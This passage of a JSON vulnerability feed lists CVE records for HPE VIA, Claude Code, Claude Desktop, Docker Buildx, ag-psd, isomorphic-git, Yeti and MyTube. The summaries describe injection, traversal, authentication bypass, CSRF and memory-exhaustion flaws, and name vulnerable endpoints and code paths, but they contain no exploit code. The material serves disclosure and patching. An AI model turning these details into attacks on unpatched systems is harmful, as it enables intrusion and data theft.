to bypass authentication mechanisms, leading to the possible disclosure of sensitive information.","published_time":"2026-11-03T19:57:44","cvss":8.1,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05173en_us&docLocale=en_US"],"products":["Virtual Intranet Access (VIA)"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95725","summary":"A command injection vulnerability exists in the VIA client for Linux. Successful exploitation could allow a low-privileged local attacker to execute arbitrary commands with elevated privileges on the affected system.","cvss":7.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05173en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:20","euvd":{"id":"EUVD-2026-116202","description":"A command injection vulnerability exists in the VIA client for Linux. Successful exploitation could allow a low-privileged local attacker to execute arbitrary commands with elevated privileges on the affected system.","published_time":"2026-11-03T19:57:45","cvss":7.8,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05173en_us&docLocale=en_US"],"products":["Virtual Intranet Access (VIA)"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95726","summary":"A buffer overflow vulnerability in HPE Networking VIA could allow an unauthenticated remote attacker to conduct a denial of service attack. Successful exploitation could allow an attacker to interrupt the normal operation of the affected client.","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05173en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:20","euvd":{"id":"EUVD-2026-116203","description":"A buffer overflow vulnerability in HPE Networking VIA could allow an unauthenticated remote attacker to conduct a denial of service attack. Successful exploitation could allow an attacker to interrupt the normal operation of the affected client.","published_time":"2026-11-03T19:57:45","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05173en_us&docLocale=en_US"],"products":["Virtual Intranet Access (VIA)"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95727","summary":"A command injection vulnerability exists in HPE Networking VIA. Successful exploitation could allow an authenticated administrative user to execute arbitrary commands with elevated privileges on the underlying operating system.","cvss":7.2,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.2,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05173en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:20","euvd":{"id":"EUVD-2026-116204","description":"A command injection vulnerability exists in HPE Networking VIA. Successful exploitation could allow an authenticated administrative user to execute arbitrary commands with elevated privileges on the underlying operating system.","published_time":"2026-11-03T19:57:46","cvss":7.2,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05173en_us&docLocale=en_US"],"products":["Virtual Intranet Access (VIA)"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95728","summary":"An arbitrary file write vulnerability exists in the Virtual Intranet Access (VIA) client. Successful exploitation could allow a local attacker with low privileges to escalate privileges on the affected system.","cvss":7.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.1,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05173en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:20","euvd":{"id":"EUVD-2026-116205","description":"An arbitrary file write vulnerability exists in the Virtual Intranet Access (VIA) client. Successful exploitation could allow a local attacker with low privileges to escalate privileges on the affected system.","published_time":"2026-11-03T19:57:47","cvss":7.1,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05173en_us&docLocale=en_US"],"products":["Virtual Intranet Access (VIA)"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95729","summary":"A sensitive information disclosure vulnerability exists in HPE Networking VIA. Successful exploitation could allow an authenticated attacker to obtain sensitive information.","cvss":6.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05173en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:20","euvd":{"id":"EUVD-2026-116206","description":"A sensitive information disclosure vulnerability exists in HPE Networking VIA. Successful exploitation could allow an authenticated attacker to obtain sensitive information.","published_time":"2026-11-03T19:57:48","cvss":6.5,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05173en_us&docLocale=en_US"],"products":["Virtual Intranet Access (VIA)"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-88968","summary":"Claude Code is an agentic coding tool. Prior to 2.1.251, the Edit tool validates a target using pathname and symlink resolution that is not bound to the underlying directory inode or file descriptor. On macOS, attacker-controlled code running in the Bash sandbox can atomically replace an in-workspace parent directory with a symlink after validation, causing the unsandboxed Edit implementation to overwrite a user-writable file outside the workspace. Exploitation requires attacker-controlled code to run inside the sandbox, such as from a malicious repository or dependency script. This issue is fixed in version 2.1.251.","cvss":7.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":7.7,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/anthropics/claude-code/releases/tag/v2.1.251","https://github.com/anthropics/claude-code/security/advisories/GHSA-5xjx-9qx6-jcrv"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:19","euvd":{"id":"EUVD-2026-116209","description":"Claude Code is an agentic coding tool. Prior to 2.1.251, the Edit tool validates a target using pathname and symlink resolution that is not bound to the underlying directory inode or file descriptor. On macOS, attacker-controlled code running in the Bash sandbox can atomically replace an in-workspace parent directory with a symlink after validation, causing the unsandboxed Edit implementation to overwrite a user-writable file outside the workspace. Exploitation requires attacker-controlled code to run inside the sandbox, such as from a malicious repository or dependency script. This issue is fixed in version 2.1.251.","published_time":"2026-11-03T20:08:47","cvss":7.7,"cvss_version":"4.0","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/anthropics/claude-code/security/advisories/GHSA-5xjx-9qx6-jcrv","https://github.com/anthropics/claude-code/releases/tag/v2.1.251"],"products":["claude-code"],"vendors":["anthropics"]},"ghsa":null},{"cve_id":"CVE-2026-93325","summary":"Buildx bake requires the user to grant entitlements with --allow or an interactive prompt before a build reaches outside the working directory. Under --progress=rawjson that consent step is skipped.","cvss":7.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":7.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/docker/buildx/releases/tag/v0.37.2","https://github.com/docker/buildx/security/advisories/GHSA-gwr2-q96m-6682","https://www.zerodayinitiative.com/advisories/ZDI-CAN-31688/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:19","euvd":{"id":"EUVD-2026-116265","description":"Buildx bake requires the user to grant entitlements with --allow or an interactive prompt before a build reaches outside the working directory. Under --progress=rawjson that consent step is skipped.","published_time":"2026-11-03T19:35:47","cvss":7.3,"cvss_version":"4.0","epss":0.0,"assigner":"Docker","references":["https://github.com/docker/buildx/security/advisories/GHSA-gwr2-q96m-6682","https://github.com/docker/buildx/releases/tag/v0.37.2","https://www.zerodayinitiative.com/advisories/ZDI-CAN-31688/"],"products":["Docker Buildx"],"vendors":["Docker"]},"ghsa":null},{"cve_id":"CVE-2026-88066","summary":"Claude Desktop is Anthropic's desktop application for interacting with Claude. Prior to 1.8089.0, Claude Desktop on Windows invokes git.exe through uv_spawn without an absolute path, allowing Windows search-path resolution to select a malicious git.exe placed in the opened project's current working directory before the intended system executable. Opening an attacker-controlled or shared repository can therefore execute the substituted program with the user's privileges. This issue is fixed in version 1.8089.0.","cvss":7.5,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":7.5,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/anthropics/claude-code/security/advisories/GHSA-4p2j-qj3c-6x84"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:18","euvd":{"id":"EUVD-2026-116208","description":"Claude Desktop is Anthropic's desktop application for interacting with Claude. Prior to 1.8089.0, Claude Desktop on Windows invokes git.exe through uv_spawn without an absolute path, allowing Windows search-path resolution to select a malicious git.exe placed in the opened project's current working directory before the intended system executable. Opening an attacker-controlled or shared repository can therefore execute the substituted program with the user's privileges. This issue is fixed in version 1.8089.0.","published_time":"2026-11-03T20:07:52","cvss":7.5,"cvss_version":"4.0","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/anthropics/claude-code/security/advisories/GHSA-4p2j-qj3c-6x84"],"products":["claude-code"],"vendors":["anthropics"]},"ghsa":null},{"cve_id":"CVE-2026-63501","summary":"ag-psd is a JavaScript library for reading and writing Photoshop Document files. Prior to 31.0.3, readPsd() accepts a totalMemoryLimit for parsing untrusted PSD files, but decodeLayerImageData expects a differently named memoryLimit property and therefore passes an undefined limit to createImageDataBitDepth. An attacker who can supply a PSD to an application with layer decoding enabled can use attacker-controlled layer dimensions to trigger an allocation larger than the configured limit, causing process memory exhaustion and denial of service. The advisory also identifies inflateSync(compressed) decompressing ZIP-encoded channel data without an output-size cap, which can cause a similar denial of service through unbounded decompression. This vulnerability is fixed in 31.0.1.","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/Agamnentzar/ag-psd/commit/57ea7d865238b6b7c8a2e976bcf2a77e03116e2f","https://github.com/Agamnentzar/ag-psd/releases/tag/31.0.3","https://github.com/Agamnentzar/ag-psd/security/advisories/GHSA-6w3r-6hpr-hp6p","https://github.com/Agamnentzar/ag-psd/security/advisories/GHSA-6w3r-6hpr-hp6p"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:17","euvd":{"id":"EUVD-2026-116262","description":"ag-psd is a JavaScript library for reading and writing Photoshop Document files. Prior to 31.0.3, readPsd() accepts a totalMemoryLimit for parsing untrusted PSD files, but decodeLayerImageData expects a differently named memoryLimit property and therefore passes an undefined limit to createImageDataBitDepth. An attacker who can supply a PSD to an application with layer decoding enabled can use attacker-controlled layer dimensions to trigger an allocation larger than the configured limit, causing process memory exhaustion and denial of service. The advisory also identifies inflateSync(compressed) decompressing ZIP-encoded channel data without an output-size cap, which can cause a similar denial of service through unbounded decompression. This vulnerability is fixed in 31.0.1.","published_time":"2026-11-03T19:30:03","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/Agamnentzar/ag-psd/security/advisories/GHSA-6w3r-6hpr-hp6p","https://github.com/Agamnentzar/ag-psd/commit/57ea7d865238b6b7c8a2e976bcf2a77e03116e2f","https://github.com/Agamnentzar/ag-psd/releases/tag/31.0.3"],"products":["ag-psd"],"vendors":["Agamnentzar"]},"ghsa":null},{"cve_id":"CVE-2026-63502","summary":"Yeti bridges the gap between CTI and DFIR practitioners by providing a Forensics Intelligence platform and pipeline. Prior to 2.5.1, YETI derives ExportTask.file_name from the user-controlled task name and passes it to core/clients/file_storage/classes/local_storage.py without sanitizing traversal sequences or enforcing path confinement. A low-privileged authenticated user using the default local storage backend can call POST /api/v2/tasks/export/new with a traversal name and use ExportTask.file_contents through GET /api/v2/tasks/export/{export_id}/content to read files accessible to the YETI service account. Running ExportTask.run() can also write attacker-controlled export output to an attacker-selected writable path. The impact depends on the service account's filesystem permissions, and universal code execution is not established. This issue is fixed in version 2.5.1.","cvss":8.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/yeti-platform/yeti/commit/bfd7c2424dc05dea2d46b5b106b5071f959d5d5a","https://github.com/yeti-platform/yeti/pull/1280","https://github.com/yeti-platform/yeti/releases/tag/2.5.1","https://github.com/yeti-platform/yeti/security/advisories/GHSA-4q3w-w2g5-8wqq"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:17","euvd":{"id":"EUVD-2026-116266","description":"Yeti bridges the gap between CTI and DFIR practitioners by providing a Forensics Intelligence platform and pipeline. Prior to 2.5.1, YETI derives ExportTask.file_name from the user-controlled task name and passes it to core/clients/file_storage/classes/local_storage.py without sanitizing traversal sequences or enforcing path confinement. A low-privileged authenticated user using the default local storage backend can call POST /api/v2/tasks/export/new with a traversal name and use ExportTask.file_contents through GET /api/v2/tasks/export/{export_id}/content to read files accessible to the YETI service account. Running ExportTask.run() can also write attacker-controlled export output to an attacker-selected writable path. The impact depends on the service account's filesystem permissions, and universal code execution is not established. This issue is fixed in version 2.5.1.","published_time":"2026-11-03T19:36:06","cvss":8.3,"cvss_version":"3.1","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/yeti-platform/yeti/security/advisories/GHSA-4q3w-w2g5-8wqq","https://github.com/yeti-platform/yeti/pull/1280","https://github.com/yeti-platform/yeti/commit/bfd7c2424dc05dea2d46b5b106b5071f959d5d5a","https://github.com/yeti-platform/yeti/releases/tag/2.5.1"],"products":["yeti"],"vendors":["yeti-platform"]},"ghsa":null},{"cve_id":"CVE-2026-63476","summary":"isomorphic-git is a pure JavaScript implementation of Git for Node.js and browsers. Prior to 1.38.6, isomorphic-git reads a server-controlled targetSize while applying a packfile delta in src/utils/applyDelta.js and passes it without a bound to Buffer.alloc(targetSize). A malicious or man-in-the-middle-controlled remote can send one delta header that causes git.clone() or git.fetch() to allocate approximately 2 GB before validating the actual delta output. GitPackIndex.fromPack swallows the later size-mismatch error, so a host with sufficient memory may retain the resource waste without a visible failure, while containers, serverless functions, and small virtual machines may terminate. Node.js heap limits do not mitigate the off-heap Buffer allocation. This issue is fixed in version 1.38.6.","cvss":4.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/isomorphic-git/isomorphic-git/commit/823843d1cd19182df79bc907c767f5bcecb39a0b","https://github.com/isomorphic-git/isomorphic-git/pull/2370","https://github.com/isomorphic-git/isomorphic-git/releases/tag/v1.38.6","https://github.com/isomorphic-git/isomorphic-git/security/advisories/GHSA-9x82-4j54-863h"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:16","euvd":{"id":"EUVD-2026-116272","description":"isomorphic-git is a pure JavaScript implementation of Git for Node.js and browsers. Prior to 1.38.6, isomorphic-git reads a server-controlled targetSize while applying a packfile delta in src/utils/applyDelta.js and passes it without a bound to Buffer.alloc(targetSize). A malicious or man-in-the-middle-controlled remote can send one delta header that causes git.clone() or git.fetch() to allocate approximately 2 GB before validating the actual delta output. GitPackIndex.fromPack swallows the later size-mismatch error, so a host with sufficient memory may retain the resource waste without a visible failure, while containers, serverless functions, and small virtual machines may terminate. Node.js heap limits do not mitigate the off-heap Buffer allocation. This issue is fixed in version 1.38.6.","published_time":"2026-11-03T19:44:06","cvss":4.3,"cvss_version":"3.1","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/isomorphic-git/isomorphic-git/security/advisories/GHSA-9x82-4j54-863h","https://github.com/isomorphic-git/isomorphic-git/pull/2370","https://github.com/isomorphic-git/isomorphic-git/commit/823843d1cd19182df79bc907c767f5bcecb39a0b","https://github.com/isomorphic-git/isomorphic-git/releases/tag/v1.38.6"],"products":["isomorphic-git"],"vendors":["isomorphic-git"]},"ghsa":null},{"cve_id":"CVE-2026-63478","summary":"isomorphic-git is a pure JavaScript implementation of Git for Node.js and browsers. Prior to 1.38.6, isomorphic-git's tree parser in src/models/GitTree.js accepts a standalone .. tree-entry name because it rejects only path separators. During clone or checkout from a malicious or man-in-the-middle-controlled non-GitHub remote, nested .. entries can escape the working-tree root and write files at attacker-selected parent paths on any host-backed fs provider. The arbitrary file write can overwrite startup or configuration files and lead to code execution. GitHub-hosted trees are not a direct source because GitHub rejects .. entries during repository integrity checks. This issue is fixed in version 1.38.6.","cvss":5.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/isomorphic-git/isomorphic-git/commit/823843d1cd19182df79bc907c767f5bcecb39a0b","https://github.com/isomorphic-git/isomorphic-git/pull/2370","https://github.com/isomorphic-git/isomorphic-git/releases/tag/v1.38.6","https://github.com/isomorphic-git/isomorphic-git/security/advisories/GHSA-cw2g-2vwq-88w6"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:16","euvd":{"id":"EUVD-2026-116269","description":"isomorphic-git is a pure JavaScript implementation of Git for Node.js and browsers. Prior to 1.38.6, isomorphic-git's tree parser in src/models/GitTree.js accepts a standalone .. tree-entry name because it rejects only path separators. During clone or checkout from a malicious or man-in-the-middle-controlled non-GitHub remote, nested .. entries can escape the working-tree root and write files at attacker-selected parent paths on any host-backed fs provider. The arbitrary file write can overwrite startup or configuration files and lead to code execution. GitHub-hosted trees are not a direct source because GitHub rejects .. entries during repository integrity checks. This issue is fixed in version 1.38.6.","published_time":"2026-11-03T19:39:52","cvss":5.3,"cvss_version":"3.1","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/isomorphic-git/isomorphic-git/security/advisories/GHSA-cw2g-2vwq-88w6","https://github.com/isomorphic-git/isomorphic-git/pull/2370","https://github.com/isomorphic-git/isomorphic-git/commit/823843d1cd19182df79bc907c767f5bcecb39a0b","https://github.com/isomorphic-git/isomorphic-git/releases/tag/v1.38.6"],"products":["isomorphic-git"],"vendors":["isomorphic-git"]},"ghsa":null},{"cve_id":"CVE-2026-63482","summary":"Yeti bridges the gap between CTI and DFIR practitioners by providing a Forensics Intelligence platform and pipeline. Prior to 2.5.1, YETI registers the audit router without Depends(auth.get_current_active_user), and core/web/apiv2/audit.py does not perform a route-level authentication check for /api/v2/audit/timeline/{id}. An unauthenticated network attacker can use an empty, partial, or specific wildcard path to query TimelineLog records containing the actor, target_id, action, and details fields, including analyst usernames, object identifiers and values, and before-and-after object data. This exposes the operational history of threat-intelligence objects while other application routers require authentication. This issue is fixed in version 2.5.1.","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/yeti-platform/yeti/commit/692af02ffc05faabc8638b15a88765cb0e3f2503","https://github.com/yeti-platform/yeti/pull/1276","https://github.com/yeti-platform/yeti/releases/tag/2.5.1","https://github.com/yeti-platform/yeti/security/advisories/GHSA-34r4-95hx-gxqr"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:16","euvd":{"id":"EUVD-2026-116264","description":"Yeti bridges the gap between CTI and DFIR practitioners by providing a Forensics Intelligence platform and pipeline. Prior to 2.5.1, YETI registers the audit router without Depends(auth.get_current_active_user), and core/web/apiv2/audit.py does not perform a route-level authentication check for /api/v2/audit/timeline/{id}. An unauthenticated network attacker can use an empty, partial, or specific wildcard path to query TimelineLog records containing the actor, target_id, action, and details fields, including analyst usernames, object identifiers and values, and before-and-after object data. This exposes the operational history of threat-intelligence objects while other application routers require authentication. This issue is fixed in version 2.5.1.","published_time":"2026-11-03T19:35:13","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/yeti-platform/yeti/security/advisories/GHSA-34r4-95hx-gxqr","https://github.com/yeti-platform/yeti/pull/1276","https://github.com/yeti-platform/yeti/commit/692af02ffc05faabc8638b15a88765cb0e3f2503","https://github.com/yeti-platform/yeti/releases/tag/2.5.1"],"products":["yeti"],"vendors":["yeti-platform"]},"ghsa":null},{"cve_id":"CVE-2026-63489","summary":"Yeti bridges the gap between CTI and DFIR practitioners by providing a Forensics Intelligence platform and pipeline. In version 2.5.0 and earlier, YETI directly interpolates user-controlled sorting fields and filter_aliases attribute paths into ArangoDB AQL identifier and expression positions in core/database_arango.py. A low-privileged authenticated user can send crafted values to POST /api/v2/observables/search, POST /api/v2/entities/search, POST /api/v2/indicators/search, POST /api/v2/dfiq/search, POST /api/v2/search/, or POST /api/v2/graph/search, causing attacker-controlled AQL subexpressions to be parsed and evaluated. This can provide an error oracle, evaluate expressions against internal collections such as users, alter intended search logic, enumerate schema information, and consume excessive database resources. The verified injection points are read and search contexts, so arbitrary database writes are not established. No fixed version is available as of this review.","cvss":7.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/yeti-platform/yeti/commit/89d8b61cf97b0fb2d46c2f9ee8b7411444345fc6","https://github.com/yeti-platform/yeti/pull/1277","https://github.com/yeti-platform/yeti/releases/tag/2.5.1","https://github.com/yeti-platform/yeti/security/advisories/GHSA-vw33-fwfx-6m9p"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:16","euvd":{"id":"EUVD-2026-116263","description":"Yeti bridges the gap between CTI and DFIR practitioners by providing a Forensics Intelligence platform and pipeline. In version 2.5.0 and earlier, YETI directly interpolates user-controlled sorting fields and filter_aliases attribute paths into ArangoDB AQL identifier and expression positions in core/database_arango.py. A low-privileged authenticated user can send crafted values to POST /api/v2/observables/search, POST /api/v2/entities/search, POST /api/v2/indicators/search, POST /api/v2/dfiq/search, POST /api/v2/search/, or POST /api/v2/graph/search, causing attacker-controlled AQL subexpressions to be parsed and evaluated. This can provide an error oracle, evaluate expressions against internal collections such as users, alter intended search logic, enumerate schema information, and consume excessive database resources. The verified injection points are read and search contexts, so arbitrary database writes are not established. No fixed version is available as of this review.","published_time":"2026-11-03T19:33:57","cvss":7.6,"cvss_version":"3.1","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/yeti-platform/yeti/security/advisories/GHSA-vw33-fwfx-6m9p","https://github.com/yeti-platform/yeti/pull/1277","https://github.com/yeti-platform/yeti/commit/89d8b61cf97b0fb2d46c2f9ee8b7411444345fc6","https://github.com/yeti-platform/yeti/releases/tag/2.5.1"],"products":["yeti"],"vendors":["yeti-platform"]},"ghsa":null},{"cve_id":"CVE-2026-63500","summary":"Yeti bridges the gap between CTI and DFIR practitioners by providing a Forensics Intelligence platform and pipeline. Prior to 2.5.1, core/schemas/dfiq.py accepts an unvalidated uuid from DFIQ YAML through POST /api/v2/dfiq/from_yaml, and core/web/apiv2/dfiq.py later interpolates that stored value into an archive filesystem path in POST /api/v2/dfiq/to_archive. A low-privileged authenticated user can import a DFIQ object whose UUID contains traversal sequences and trigger archive export, causing attacker-controlled content with a .yaml suffix to be written outside the intended temporary archive directory. The impact is limited by paths writable by the YETI service account, and the separate DFIQ archive-import zip-slip candidate is not part of this vulnerability. This issue is fixed in version 2.5.1.","cvss":7.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.1,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/yeti-platform/yeti/commit/8e36bd0000f98f625540e37eeb9f304c684e8394","https://github.com/yeti-platform/yeti/pull/1279","https://github.com/yeti-platform/yeti/releases/tag/2.5.1","https://github.com/yeti-platform/yeti/security/advisories/GHSA-6xf2-8436-rgvf"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:16","euvd":{"id":"EUVD-2026-116268","description":"Yeti bridges the gap between CTI and DFIR practitioners by providing a Forensics Intelligence platform and pipeline. Prior to 2.5.1, core/schemas/dfiq.py accepts an unvalidated uuid from DFIQ YAML through POST /api/v2/dfiq/from_yaml, and core/web/apiv2/dfiq.py later interpolates that stored value into an archive filesystem path in POST /api/v2/dfiq/to_archive. A low-privileged authenticated user can import a DFIQ object whose UUID contains traversal sequences and trigger archive export, causing attacker-controlled content with a .yaml suffix to be written outside the intended temporary archive directory. The impact is limited by paths writable by the YETI service account, and the separate DFIQ archive-import zip-slip candidate is not part of this vulnerability. This issue is fixed in version 2.5.1.","published_time":"2026-11-03T19:37:01","cvss":7.1,"cvss_version":"3.1","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/yeti-platform/yeti/security/advisories/GHSA-6xf2-8436-rgvf","https://github.com/yeti-platform/yeti/pull/1279","https://github.com/yeti-platform/yeti/commit/8e36bd0000f98f625540e37eeb9f304c684e8394","https://github.com/yeti-platform/yeti/releases/tag/2.5.1"],"products":["yeti"],"vendors":["yeti-platform"]},"ghsa":null},{"cve_id":"CVE-2026-63433","summary":"MyTube is a self-hosted downloader and player for several video websites. Prior to 1.10.6, shouldSkipCsrfProtection() in backend/src/middleware/csrfConfig.ts delegates to isApiKeyRequest(), which grants a CSRF exemption based only on the presence of an x-api-key header or an Authorization: ApiKey value rather than successful API-key validation. With a permissive CORS_ALLOWED_ORIGINS configuration, an unauthenticated attacker can lure an authenticated administrator to attacker-controlled content that sends a cross-origin state-changing request with an arbitrary API-key value. The victim's session cookie authenticates the request while CSRF token validation is skipped, allowing destructive or other administrator API operations such as deleting media, triggering downloads, or changing subscriptions. This issue is fixed in version 1.10.6.","cvss":6.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/franklioxygen/MyTube/commit/b2000d8b239fd2e44b0e6160137c8b636a09cc89","https://github.com/franklioxygen/MyTube/security/advisories/GHSA-9qxv-p8j9-gv5r"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:15","euvd":{"id":"EUVD-2026-116195","description":"MyTube is a self-hosted downloader and player for several video websites. Prior to 1.10.6, shouldSkipCsrfProtection() in backend/src/middleware/csrfConfig.ts delegates to isApiKeyRequest(), which grants a CSRF exemption based only on the presence of an x-api-key header or an Authorization: ApiKey value rather than successful API-key validation. With a permissive CORS_ALLOWED_ORIGINS configuration, an unauthenticated attacker can lure an authenticated administrator to attacker-controlled content that sends a cross-origin state-changing request with an arbitrary API-key value. The victim's session cookie authenticates the request while CSRF token validation is skipped, allowing destructive or other administrator API operations such as deleting media, triggering downloads, or changing subscriptions. This issue is fixed in version 1.10.6.","published_time":"2026-11-03T19:52:42","cvss":6.8,"cvss_version":"3.1","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/franklioxygen/MyTube/security/advisories/GHSA-9qxv-p8j9-gv5r","https://github.com/franklioxygen/MyTube/commit/b2000d8b239fd2e44b0e6160137c8b636a09cc89"],"products":["MyTube"],"vendors":["franklioxygen"]},"ghsa":null},{"cve_id":"CVE-2026-63434","summary":"MyTube is a self-hosted downloader and player for several video websites. Prior to 1.10.6, when statisticsEnabled and statisticsTrackVisitorActivity are enabled, a visitor-role user can submit events to the statistics ingest endpoint handled by ingestEvents in backend/src/controllers/statisticsController.ts. The handler reads req.body.events and accepts the client-controlled platform, sourceKind, and sessionId fields without server-side derivation or validation before passing the events to the analytics persistence path. A visitor can therefore attribute fabricated events to arbitrary platforms, sources, and sessions, corrupting administrator-visible view counts, download counts, platform breakdowns, source attribution, and session analytics. The server-derived actorRole and surface fields are not forgeable through this issue. This issue is fixed in version 1.10.6.","cvss":4.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/franklioxygen/MyTube/commit/5cfbc22166de64dfb65cb789ef00909dd48783d7","https://github.com/franklioxygen/MyTube/commit/60424529121018cbf0481034a97fca36d3bc5c66","https://github.com/franklioxygen/MyTube/commit/d65913a9319dd840ab2ac77565325cf701306d6d","https://github.com/franklioxygen/MyTube/releases/tag/v1.10.6","https://github.com/franklioxygen/MyTube/security/advisories/GHSA-h5xx-g8fc-crr7"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:15","euvd":{"id":"EUVD-2026-116165","description":"MyTube is a self-hosted downloader and player for several video websites. Prior to 1.10.6, when statisticsEnabled and statisticsTrackVisitorActivity are enabled, a visitor-role user can submit events to the statistics ingest endpoint handled by ingestEvents in backend/src/controllers/statisticsController.ts. The handler reads req.body.events and accepts the client-controlled platform, sourceKind, and sessionId fields without server-side derivation or validation before passing the events to the analytics persistence path. A visitor can therefore attribute fabricated events to arbitrary platforms, sources, and sessions, corrupting administrator-visible view counts, download counts, platform breakdowns, source attribution, and session analytics. The server-derived actorRole and surface fields are not forgeable through this issue. This issue is fixed in version 